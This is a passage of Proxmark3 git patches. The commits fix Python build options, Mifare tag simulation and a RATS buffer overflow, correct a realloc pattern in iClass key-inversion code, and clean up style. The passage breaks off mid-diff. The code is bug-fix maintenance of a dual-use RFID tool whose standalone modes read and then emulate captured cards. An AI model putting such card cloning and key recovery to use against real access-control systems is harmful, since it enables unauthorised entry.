/usr/local/opt/qt5) @@ -88,8 +91,8 @@ if (NOT SKIPBT EQUAL 1) endif (NOT SKIPBT EQUAL 1) if (NOT SKIPPYTHON EQUAL 1) - pkg_search_module(PYTHON3 QUIET python3) - pkg_search_module(PYTHON3EMBED QUIET python3-embed) + pkg_search_module(PYTHON3 QUIET ${PYTHON3_PKGCONFIG}) + pkg_search_module(PYTHON3EMBED QUIET ${PYTHON3_PKGCONFIG}-embed) endif (NOT SKIPPYTHON EQUAL 1) # If cross-compiled, we need to init source and build. @@ -612,11 +615,11 @@ if (SKIPPYTHON EQUAL 1) message(STATUS "Python3 library: skipped") else (SKIPPYTHON EQUAL 1) if (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 embed found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG}-embed found, enabled") elseif (PYTHON3_FOUND) - message(STATUS "Python3 library: Python3 found, enabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} found, enabled") else (PYTHON3EMBED_FOUND) - message(STATUS "Python3 library: Python3 not found, disabled") + message(STATUS "Python3 library: ${PYTHON3_PKGCONFIG} not found, disabled") endif (PYTHON3EMBED_FOUND) endif(SKIPPYTHON EQUAL 1) diff --git a/doc/md/Development/Makefile-vs-CMake.md b/doc/md/Development/Makefile-vs-CMake.md index 934e4b138..2d1094970 100644 --- a/doc/md/Development/Makefile-vs-CMake.md +++ b/doc/md/Development/Makefile-vs-CMake.md @@ -65,6 +65,7 @@ At the moment both are maintained because they don't perfectly overlap yet. | dep mbedtls | in_common | in_common | no sys lib: missing support for CMAC in def conf (btw no .pc available) | | dep python3 | opt, sys, < 3.8 & 3.8 | opt, sys, < 3.8 & 3.8 | | | python3 detection | pc | pkg_search_module | | +| force python3 version | `PYTHON3_PKGCONFIG=python-3.12` | `-DPYTHON3_PKGCONFIG=python-3.12` | | | `SKIPPYTHON` | yes | yes | | | dep pthread | sys | sys | | | pthread detection | **none** | **none** (1) | (1) cf https://stackoverflow.com/questions/1620918/cmake-and-libpthread ? | diff --git a/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md b/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md index b811a2072..63076e720 100644 --- a/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md +++ b/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md @@ -10,7 +10,7 @@ - [Compile for generic Proxmark3 platforms](#compile-for-generic-proxmark3-platforms) - [Get the latest commits](#get-the-latest-commits) - [Clean and compile everything](#clean-and-compile-everything) - - [if there are different python3 packages installed](#if-there-are-different-python3-packages-installed) + - [if there are different Python 3 packages installed](#if-there-are-different-python-3-packages-installed) - [if you got an error](#if-you-got-an-error) - [Install](#install) - [Flash the BOOTROM & FULLIMAGE](#flash-the-bootrom--fullimage) @@ -57,10 +57,10 @@ git pull make clean && make -j ``` -### if there are different python3 packages installed +### if there are different Python 3 packages installed ^[Top](#top) -It is possible to point to a different python3 package. For example, to build against Python3.11: +It is possible to point to a different Python 3 package. For example, to build against Python 3.11: ```sh make clean && make -j PYTHON3_PKGCONFIG=python-3.11 From b6fc00040545af610ea40e1cd60d114796bfd62e Mon Sep 17 00:00:00 2001 From: Anton Todorov Date: Thu, 14 Nov 2024 15:35:37 +0200 Subject: [PATCH 133/155] revert opensuse-leap docker to default Python 3.6 forgot to revert the opensuse-leap/Dockerfile changes when reworking commit https://github.com/RfidResearchGroup/proxmark3/commit/39c846ada4832a874a1744bc45851b385857f6cb Signed-off-by: Anton Todorov --- docker/opensuse-leap/Dockerfile | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docker/opensuse-leap/Dockerfile b/docker/opensuse-leap/Dockerfile index f84dd22a0..99d608b76 100644 --- a/docker/opensuse-leap/Dockerfile +++ b/docker/opensuse-leap/Dockerfile @@ -2,14 +2,14 @@ FROM opensuse/leap ENV LANG=C # libqt5-qtbase-devel skipped -RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python311-devel libopenssl-devel gd-devel +RUN zypper --non-interactive install --no-recommends shadow sudo git patterns-devel-base-devel_basis gcc-c++ readline-devel libbz2-devel liblz4-devel bluez-devel python3-devel libopenssl-devel gd-devel RUN zypper addrepo https://download.opensuse.org/repositories/home:wkazubski/15.6/home:wkazubski.repo && \ zypper --gpg-auto-import-keys refresh && \ zypper --non-interactive install cross-arm-none-eabi-gcc13 cross-arm-none-eabi-newlib -RUN zypper --non-interactive install cmake python311 python311-pip && \ - python3.11 -m pip install ansicolors sslcrypto +RUN zypper --non-interactive install cmake python3 python3-pip && \ + python3 -m pip install ansicolors sslcrypto RUN zypper --non-interactive install ocl-icd-devel From 133fe505f6a72389401c04e361818b5d154fd65f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 14 Nov 2024 22:14:41 +0100 Subject: [PATCH 134/155] remove debug --- armsrc/iso14443a.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index a7d661a9b..190198f4a 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -690,8 +690,6 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { if (Demod.bitCount) { // there are some remaining data bits Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits Demod.output[Demod.len++] = Demod.shiftReg & 0xFF; // and add them to the output - - Dbprintf("A | len... %u - %u == 0x%02x", Demod.len, Demod.bitCount, Demod.output[0]); return true; } From 18db45b00ef852892bebc062ccaad42b529a093c Mon Sep 17 00:00:00 2001 From: Piotr Rzeszut Date: Fri, 15 Nov 2024 02:32:20 +0100 Subject: [PATCH 135/155] mifare simulation: do not respond for authentication attempts for sectors out of range for selected mifare type Resolves #2635 --- armsrc/mifaresim.c | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index a10956d61..69b577236 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -184,6 +184,20 @@ static bool IsAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) { } } +static uint8_t MifareMaxSector(uint16_t flags) { + if (IS_FLAG_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES)) { + return MIFARE_MINI_MAXSECTOR; + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_1K_MAX_BYTES)) { + return MIFARE_1K_MAXSECTOR; + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_2K_MAX_BYTES)) { + return MIFARE_2K_MAXSECTOR; + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_4K_MAX_BYTES)) { + return MIFARE_4K_MAXSECTOR; + } else { + return MIFARE_4K_MAXSECTOR; + } +} + static bool MifareSimInit(uint16_t flags, uint8_t *uid, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) { uint8_t uid_tmp[10] = {0}; @@ -769,6 +783,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] KEY %c: %012" PRIx64, (cardAUTHKEY == 0) ? 'A' : 'B', emlGetKey(cardAUTHSC, cardAUTHKEY)); + // sector out of range - do not respond + if (cardAUTHSC >= MifareMaxSector(flags)) { + cardAUTHKEY = AUTHKEYNONE; // not authenticated + cardSTATE_TO_IDLE(); + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Out of range sector %d(0x%02x)", cardAUTHSC, cardAUTHSC); + break; + } + // first authentication crypto1_deinit(pcs); From 606c3ac0dec8de6e0517e60bc67af04847b30701 Mon Sep 17 00:00:00 2001 From: Piotr Rzeszut Date: Fri, 15 Nov 2024 02:39:19 +0100 Subject: [PATCH 136/155] Update changelog to include information about fix for hf mf sim command not to respond for auth attempts out of bounds --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index c898dd201..c46c7e37e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed `hf mf sim` not to respond to authentication attempts for sectors out of bound for selected Mifare type (@piotrva) - Added option to build against non-default python3 with CMake as well (@doegox) - Added option to build against non-default python3 with Makefile (@ANTodorov) - Changed `hf 14a info` `hf mf info` - now detects FM1216-137 CPU cards (@iceman1001) From a9c10c872ed1b92b38893cc76c2691dd041b9e74 Mon Sep 17 00:00:00 2001 From: Piotr Rzeszut Date: Fri, 15 Nov 2024 13:13:48 +0100 Subject: [PATCH 137/155] Changed max sector for AUTH to be executed only once and result cached in local variable --- armsrc/mifaresim.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index 69b577236..aa93e8770 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -478,6 +478,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t uint8_t cardWRBL = 0; uint8_t cardAUTHSC = 0; + uint8_t cardMaxSEC = MifareMaxSector(flags); uint8_t cardAUTHKEY = AUTHKEYNONE; // no authentication uint32_t cardRr = 0; uint32_t ans = 0; @@ -784,7 +785,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] KEY %c: %012" PRIx64, (cardAUTHKEY == 0) ? 'A' : 'B', emlGetKey(cardAUTHSC, cardAUTHKEY)); // sector out of range - do not respond - if (cardAUTHSC >= MifareMaxSector(flags)) { + if (cardAUTHSC >= cardMaxSEC) { cardAUTHKEY = AUTHKEYNONE; // not authenticated cardSTATE_TO_IDLE(); if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Out of range sector %d(0x%02x)", cardAUTHSC, cardAUTHSC); From d398576fc7b15bcbbab003704f857b948751d37e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 13:27:39 +0100 Subject: [PATCH 138/155] the 14a sim had a wrong size check of the irats pointer instead of actual size. Only way around it was to add the length at function call --- CHANGELOG.md | 1 + armsrc/Standalone/hf_aveful.c | 2 +- armsrc/Standalone/hf_craftbyte.c | 12 ++++++------ armsrc/Standalone/hf_young.c | 14 +++++++------- armsrc/appmain.c | 8 ++++++-- armsrc/iso14443a.c | 28 +++++++++++++++++++++------- armsrc/iso14443a.h | 20 +++++++++++++++----- 7 files changed, 57 insertions(+), 28 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index c46c7e37e..f7bd57785 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed wrong size check in MifareSim (@iceman1001) - Fixed `hf mf sim` not to respond to authentication attempts for sectors out of bound for selected Mifare type (@piotrva) - Added option to build against non-default python3 with CMake as well (@doegox) - Added option to build against non-default python3 with Makefile (@ANTodorov) diff --git a/armsrc/Standalone/hf_aveful.c b/armsrc/Standalone/hf_aveful.c index 039a22601..f9122f031 100644 --- a/armsrc/Standalone/hf_aveful.c +++ b/armsrc/Standalone/hf_aveful.c @@ -252,7 +252,7 @@ void RunMod(void) { FLAG_SET_UID_IN_DATA(flags, 7); Dbprintf("Starting simulation, press " _GREEN_("pm3 button") " to stop and go back to search state."); - SimulateIso14443aTag(7, flags, card.uid, 0, NULL); + SimulateIso14443aTag(7, flags, card.uid, 0, NULL, 0); // Go back to search state if user presses pm3-button state = STATE_SEARCH; diff --git a/armsrc/Standalone/hf_craftbyte.c b/armsrc/Standalone/hf_craftbyte.c index 2bc09d9fe..6eb2ae2a2 100644 --- a/armsrc/Standalone/hf_craftbyte.c +++ b/armsrc/Standalone/hf_craftbyte.c @@ -89,22 +89,22 @@ void RunMod(void) { Dbprintf("Starting simulation, press " _GREEN_("pm3 button") " to stop and go back to search state."); if (card.sak == 0x08 && card.atqa[0] == 0x04 && card.atqa[1] == 0) { DbpString("Mifare Classic 1k"); - SimulateIso14443aTag(1, flags, card.uid, 0, NULL); + SimulateIso14443aTag(1, flags, card.uid, 0, NULL, 0); } else if (card.sak == 0x08 && card.atqa[0] == 0x44 && card.atqa[1] == 0) { DbpString("Mifare Classic 4k "); - SimulateIso14443aTag(8, flags, card.uid, 0, NULL); + SimulateIso14443aTag(8, flags, card.uid, 0, NULL, 0); } else if (card.sak == 0x00 && card.atqa[0] == 0x44 && card.atqa[1] == 0) { DbpString("Mifare Ultralight"); - SimulateIso14443aTag(2, flags, card.uid, 0, NULL); + SimulateIso14443aTag(2, flags, card.uid, 0, NULL, 0); } else if (card.sak == 0x20 && card.atqa[0] == 0x04 && card.atqa[1] == 0x03) { DbpString("Mifare DESFire"); - SimulateIso14443aTag(3, flags, card.uid, 0, NULL); + SimulateIso14443aTag(3, flags, card.uid, 0, NULL, 0); } else if (card.sak == 0x20 && card.atqa[0] == 0x44 && card.atqa[1] == 0x03) { DbpString("Mifare DESFire Ev1/Plus/JCOP"); - SimulateIso14443aTag(3, flags, card.uid, 0, NULL); + SimulateIso14443aTag(3, flags, card.uid, 0, NULL, 0); } else { Dbprintf("Unrecognized tag type -- defaulting to Mifare Classic emulation"); - SimulateIso14443aTag(1, flags, card.uid, 0, NULL); + SimulateIso14443aTag(1, flags, card.uid, 0, NULL, 0); } // Go back to search state if user presses pm3-button diff --git a/armsrc/Standalone/hf_young.c b/armsrc/Standalone/hf_young.c index d41a7968f..62d215dba 100644 --- a/armsrc/Standalone/hf_young.c +++ b/armsrc/Standalone/hf_young.c @@ -253,25 +253,25 @@ void RunMod(void) { if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0) { DbpString("Mifare Classic 1k"); - SimulateIso14443aTag(1, flags, data, 0, NULL); + SimulateIso14443aTag(1, flags, data, 0, NULL, 0); } else if (uids[selected].sak == 0x18 && uids[selected].atqa[0] == 0x02 && uids[selected].atqa[1] == 0) { DbpString("Mifare Classic 4k (4b uid)"); - SimulateIso14443aTag(8, flags, data, 0, NULL); + SimulateIso14443aTag(8, flags, data, 0, NULL, 0); } else if (uids[selected].sak == 0x08 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) { DbpString("Mifare Classic 4k (7b uid)"); - SimulateIso14443aTag(8, flags, data, 0, NULL); + SimulateIso14443aTag(8, flags, data, 0, NULL, 0); } else if (uids[selected].sak == 0x00 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0) { DbpString("Mifare Ultralight"); - SimulateIso14443aTag(2, flags, data, 0, NULL); + SimulateIso14443aTag(2, flags, data, 0, NULL, 0); } else if (uids[selected].sak == 0x20 && uids[selected].atqa[0] == 0x04 && uids[selected].atqa[1] == 0x03) { DbpString("Mifare DESFire"); - SimulateIso14443aTag(3, flags, data, 0, NULL); + SimulateIso14443aTag(3, flags, data, 0, NULL, 0); } else if (uids[selected].sak == 0x20 && uids[selected].atqa[0] == 0x44 && uids[selected].atqa[1] == 0x03) { DbpString("Mifare DESFire Ev1/Plus/JCOP"); - SimulateIso14443aTag(3, flags, data, 0, NULL); + SimulateIso14443aTag(3, flags, data, 0, NULL, 0); } else { Dbprintf("Unrecognized tag type -- defaulting to Mifare Classic emulation"); - SimulateIso14443aTag(1, flags, data, 0, NULL); + SimulateIso14443aTag(1, flags, data, 0, NULL, 0); } } else if (button_pressed == BUTTON_SINGLE_CLICK) { diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 96cf50d31..f6e78e747 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1637,7 +1637,8 @@ static void PacketReceived(PacketCommandNG *packet) { uint8_t rats[20]; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - SimulateIso14443aTag(payload->tagtype, payload->flags, payload->uid, payload->exitAfter, payload->rats); // ## Simulate iso14443a tag - pass tag type & UID + SimulateIso14443aTag(payload->tagtype, payload->flags, payload->uid, + payload->exitAfter, payload->rats, sizeof(payload->rats)); // ## Simulate iso14443a tag - pass tag type & UID break; } case CMD_HF_ISO14443A_SIM_AID: { @@ -1655,7 +1656,10 @@ static void PacketReceived(PacketCommandNG *packet) { bool enumerate; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - SimulateIso14443aTagAID(payload->tagtype, payload->flags, payload->uid, payload->rats, payload->aid, payload->response, payload->apdu, payload->aid_len, payload->respond_len, payload->apdu_len, payload->enumerate); // ## Simulate iso14443a tag - pass tag type, UID, rats, aid, resp, apdu + SimulateIso14443aTagAID(payload->tagtype, payload->flags, payload->uid, + payload->rats, sizeof(payload->rats), payload->aid, payload->response, + payload->apdu, payload->aid_len, payload->respond_len, + payload->apdu_len, payload->enumerate); // ## Simulate iso14443a tag - pass tag type, UID, rats, aid, resp, apdu break; } case CMD_HF_ISO14443A_ANTIFUZZ: { diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 190198f4a..6993fe2fd 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -690,6 +690,8 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { if (Demod.bitCount) { // there are some remaining data bits Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits Demod.output[Demod.len++] = Demod.shiftReg & 0xFF; // and add them to the output + +// Dbprintf("A | len... %u - %u == 0x%02x", Demod.len, Demod.bitCount, Demod.output[0]); return true; } @@ -1106,7 +1108,8 @@ bool prepare_allocated_tag_modulation(tag_response_info_t *response_info, uint8_ } } -bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, tag_response_info_t **responses, +bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, + uint8_t *iRATs, size_t irats_len, tag_response_info_t **responses, uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages) { uint8_t sak = 0; // The first response contains the ATQA (note: bytes are transmitted in reverse order). @@ -1269,11 +1272,19 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8 } } - // copy the iRATs if supplied + // copy the iRATs if supplied. + // iRATs is a pointer to 20 byte array + // rRATS is a 40 byte array if ((flags & FLAG_RATS_IN_DATA) == FLAG_RATS_IN_DATA) { - memcpy(rRATS, iRATs, sizeof(iRATs)); + memcpy(rRATS, iRATs, irats_len); // rats len is dictated by the first char of the string, add 2 crc bytes rRATS_len = (iRATs[0] + 2); + // Since its Varible length we can send value > 40 and overflow our array. + // Even if RATS protocol defined as max 40 bytes doesn't mean people try stuff + if (rRATS_len > sizeof(rRATS)) { + if (g_dbglevel >= DBG_ERROR) Dbprintf("[-] ERROR: iRATS overflow. Max %zu, got %zu", sizeof(rRATS), rRATS_len); + return false; + } } // if uid not supplied then get from emulator memory @@ -1444,7 +1455,8 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8 // response to send, and send it. // 'hf 14a sim' //----------------------------------------------------------------------------- -void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t exitAfterNReads, uint8_t *iRATs) { +void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t exitAfterNReads, + uint8_t *iRATs, size_t irats_len) { #define ATTACK_KEY_COUNT 16 @@ -1486,7 +1498,7 @@ void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_ .modulation_n = 0 }; - if (SimulateIso14443aInit(tagType, flags, data, iRATs, &responses, &cuid, counters, tearings, &pages) == false) { + if (SimulateIso14443aInit(tagType, flags, data, iRATs, irats_len, &responses, &cuid, counters, tearings, &pages) == false) { BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); return; @@ -3932,7 +3944,9 @@ It can also continue after the AID has been selected, and respond to other reque This was forked from the original function to allow for more flexibility in the future, and to increase the processing speed of the original function. /// */ -void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, uint8_t *aid, uint8_t *resp, uint8_t *apdu, int aidLen, int respondLen, int apduLen, bool enumerate) { +void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, + uint8_t *iRATs, size_t irats_len, uint8_t *aid, uint8_t *resp, + uint8_t *apdu, int aidLen, int respondLen, int apduLen, bool enumerate) { tag_response_info_t *responses; uint32_t cuid = 0; uint32_t counters[3] = { 0x00, 0x00, 0x00 }; @@ -3959,7 +3973,7 @@ void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, uin .modulation_n = 0 }; - if (SimulateIso14443aInit(tagType, flags, data, iRATs, &responses, &cuid, counters, tearings, &pages) == false) { + if (SimulateIso14443aInit(tagType, flags, data, iRATs, irats_len, &responses, &cuid, counters, tearings, &pages) == false) { BigBuf_free_keep_EM(); reply_ng(CMD_HF_MIFARE_SIMULATE, PM3_EINIT, NULL, 0); return; diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index 61d86b58b..e50e0face 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -55,7 +55,8 @@ typedef struct { uint16_t shiftReg; uint16_t samples; uint16_t len; - uint32_t startTime, endTime; + uint32_t startTime; + uint32_t endTime; uint16_t output_len; uint8_t *output; uint8_t *parity; @@ -88,7 +89,8 @@ typedef struct { uint8_t parityBits; uint8_t parityLen; uint32_t fourBits; - uint32_t startTime, endTime; + uint32_t startTime; + uint32_t endTime; uint16_t output_len; uint8_t *output; uint8_t *parity; @@ -140,8 +142,17 @@ RAMFUNC bool MillerDecoding(uint8_t bit, uint32_t non_real_time); RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_time); void RAMFUNC SniffIso14443a(uint8_t param); -void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t exitAfterNReads, uint8_t *iRATs); -bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, tag_response_info_t **responses, uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages); +void SimulateIso14443aTag(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t exitAfterNReads, + uint8_t *iRATs, size_t irats_len); + +void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, + uint8_t *iRATs, size_t irats_len, uint8_t *aid, uint8_t *resp, + uint8_t *apdu, int aid_len, int respond_len, int apdu_len, bool enumerate); + +bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, + uint8_t *iRATs, size_t irats_len, tag_response_info_t **responses, + uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages); + bool GetIso14443aCommandFromReader(uint8_t *received, uint16_t received_maxlen, uint8_t *par, int *len); void iso14443a_antifuzz(uint32_t flags); void ReaderIso14443a(PacketCommandNG *c); @@ -174,7 +185,6 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype); void DetectNACKbug(void); -void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, uint8_t *aid, uint8_t *resp, uint8_t *apdu, int aid_len, int respond_len, int apdu_len, bool enumerate); bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t rec_maxlen, uint8_t *received_len); From 51ecdeb5112fa21276e7ef5cb25a0c3989dee4e0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 14:10:34 +0100 Subject: [PATCH 139/155] now uses the correct realloc pattern with testing the reallocated pointer before assigning --- client/src/loclass/ikeys.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/client/src/loclass/ikeys.c b/client/src/loclass/ikeys.c index 9458f13ce..44b9234ee 100644 --- a/client/src/loclass/ikeys.c +++ b/client/src/loclass/ikeys.c @@ -562,7 +562,15 @@ void invert_hash0(uint8_t k[8]) { // Create new forks by duplicating existing uint64_t values int new_head = heads_count * 2; - hydra_heads = (uint64_t *)realloc(hydra_heads, new_head * sizeof(uint64_t)); + + // proper realloc pattern + uint64_t *ptmp = (uint64_t *)realloc(hydra_heads, new_head * sizeof(uint64_t)); + if (ptmp == NULL) { + PrintAndLogEx(FAILED, "failed to allocate memory"); + free(hydra_heads); + return; + } + hydra_heads = ptmp; // Duplicate all current values and add the value to both original and new ones for (int i = 0; i < heads_count; i++) { From 3a3ea75d1273a1cf8725211527c211c5668c3b64 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 15 Nov 2024 14:28:14 +0100 Subject: [PATCH 140/155] style --- armsrc/appmain.c | 6 +- armsrc/iclass.c | 2 +- armsrc/iso14443a.c | 6 +- armsrc/iso14443a.h | 2 +- armsrc/mifarecmd.c | 130 +++++++++++++++--------------- client/pyscripts/fm11rf08_full.py | 2 +- client/src/cmdhficlass.c | 16 ++-- client/src/cmdhfmf.c | 60 +++++++------- client/src/cmdpiv.c | 2 +- doc/commands.json | 22 +++-- doc/commands.md | 2 +- 11 files changed, 124 insertions(+), 126 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index f6e78e747..e019f14a5 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1656,9 +1656,9 @@ static void PacketReceived(PacketCommandNG *packet) { bool enumerate; } PACKED; struct p *payload = (struct p *) packet->data.asBytes; - SimulateIso14443aTagAID(payload->tagtype, payload->flags, payload->uid, - payload->rats, sizeof(payload->rats), payload->aid, payload->response, - payload->apdu, payload->aid_len, payload->respond_len, + SimulateIso14443aTagAID(payload->tagtype, payload->flags, payload->uid, + payload->rats, sizeof(payload->rats), payload->aid, payload->response, + payload->apdu, payload->aid_len, payload->respond_len, payload->apdu_len, payload->enumerate); // ## Simulate iso14443a tag - pass tag type, UID, rats, aid, resp, apdu break; } diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 94a4746ea..ec6578ded 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2168,7 +2168,7 @@ static void generate_single_key_block_inverted_opt(const uint8_t *startingKey, u 0x95, 0x96, 0x99, 0x9A, 0x9C, 0xA3, 0xA5, 0xA6, 0xA9, 0xAA, 0xAC, 0xB1, 0xB2, 0xB4, 0xB8, 0xC3, 0xC5, 0xC6, 0xC9, 0xCA, 0xCC, 0xD1, 0xD2, 0xD4, 0xD8, 0xE1, 0xE2, 0xE4, 0xE8, 0xF0 - }; + }; uint8_t binary_endings[8]; // Array to store binary values for each ending bit // Extract each bit from the ending_bits[k] and store it in binary_endings diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 6993fe2fd..d02055b0d 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1108,7 +1108,7 @@ bool prepare_allocated_tag_modulation(tag_response_info_t *response_info, uint8_ } } -bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, +bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, size_t irats_len, tag_response_info_t **responses, uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages) { uint8_t sak = 0; @@ -1272,7 +1272,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, } } - // copy the iRATs if supplied. + // copy the iRATs if supplied. // iRATs is a pointer to 20 byte array // rRATS is a 40 byte array if ((flags & FLAG_RATS_IN_DATA) == FLAG_RATS_IN_DATA) { @@ -1283,7 +1283,7 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, // Even if RATS protocol defined as max 40 bytes doesn't mean people try stuff if (rRATS_len > sizeof(rRATS)) { if (g_dbglevel >= DBG_ERROR) Dbprintf("[-] ERROR: iRATS overflow. Max %zu, got %zu", sizeof(rRATS), rRATS_len); - return false; + return false; } } diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index e50e0face..24b388252 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -149,7 +149,7 @@ void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, size_t irats_len, uint8_t *aid, uint8_t *resp, uint8_t *apdu, int aid_len, int respond_len, int apdu_len, bool enumerate); -bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, +bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, size_t irats_len, tag_response_info_t **responses, uint32_t *cuid, uint32_t counters[3], uint8_t tearings[3], uint8_t *pages); diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index 5ebc43acd..715b69132 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -3128,82 +3128,82 @@ void MifareHasStaticEncryptedNonce(uint8_t block_no, uint8_t key_type, uint8_t * }; first_nt_counter++; } else for (uint8_t i = 0; i < nr_nested; i++) { - if (need_first_auth) { - cuid = 0; + if (need_first_auth) { + cuid = 0; - if (hardreset) { - if (g_dbglevel >= DBG_EXTENDED) { - Dbprintf("RF reset"); + if 